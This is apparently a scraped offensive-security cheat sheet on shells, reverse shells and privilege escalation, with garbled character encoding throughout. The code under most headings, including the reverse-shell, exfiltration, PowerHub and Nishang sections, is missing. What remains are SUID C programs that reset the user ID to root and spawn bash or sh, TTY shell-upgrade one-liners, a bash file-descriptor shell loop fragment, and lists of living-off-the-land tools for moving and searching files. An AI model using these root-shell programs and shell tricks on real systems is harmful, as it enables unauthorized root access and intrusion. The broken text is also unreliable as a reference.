๐ŸšShells and Reverse Shells Cheat Sheet

SUID C Shells

  • bin/bash:

int main(void){

setresuid(0, 0, 0);

system("/bin/bash");

}
  • bin/sh:

int main(void){

setresuid(0, 0, 0);

system("/bin/sh");

}

TTY Shell:

  • python -c 'import pty; pty.spawn("/bin/bash")'
  • echo os.system('/bin/bash')
  • /bin/sh โ€“i
  • execute('/bin/sh')

LUA:

    • Privilege Escalation via nmap

    • Privilege escalation via vi

Fully Interactive TTY:

Spawn Ruby Shell:

Netcat:

Socket (Encrypted Shell):

Bind Shell:

Reverse Shell:

Encrypted Bind Shell:

Share the .pem file to victim machine as this is a bind shell

Encrypted Reverse Shell:

Telnet Reverse Shell:

PHP:

    • (Assumes TCP uses file descriptor 3. If it doesnโ€™t work, try 4,5, or 6)

Bash:

# or: while read line 0<&5; do $line 2>&5 >&5; done

Perl:

    • Windows

    • Windows

Stealthy Shells

#1

In the Attacker Machine

In the Victim Machine

Living Off the Land

Windows Tools

  • PowerShell

  • cmd.exe

  • cscript.exe

  • psexec.exe

  • wmic.exe

  • findstr -> for searching the file base

  • bitsadmin -> load content

  • regedit -> store information

Linux Tools

  • netcat, scp, curl, and wget for file transfers

  • grep and find for searching the file base

  • awk, gawk, gdb, and other tools

PowerHub

In the Attacker Machine

In the Victim Machine

Recon Local Groups

Exfiltration In the Attacker Machine

PHPSploit

Start PHPSploit

Reverse Shell using Nishang (Windows Victim Host)

Last updated

Was this helpful?